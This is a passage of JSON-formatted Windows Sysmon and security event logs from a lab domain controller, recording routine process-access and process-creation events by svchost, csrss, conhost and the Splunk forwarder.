","AuthenticationPackageName":"NTLM","WorkstationName":"-","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"78.37.23.127","IpPort":"59962","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2053,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2054,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2055,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.315\r\nProcessGuid: {90617006-3FE9-5F2D-0000-00105C530300}\r\nProcessId: 3728\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinRegMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.315","ProcessGuid":"{90617006-3FE9-5F2D-0000-00105C530300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinRegMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2056,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-00105C530300}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-00105C530300}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2057,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-00105C530300}\r\nTargetProcessId: 3728\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-00105C530300}","TargetProcessId":"3728","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 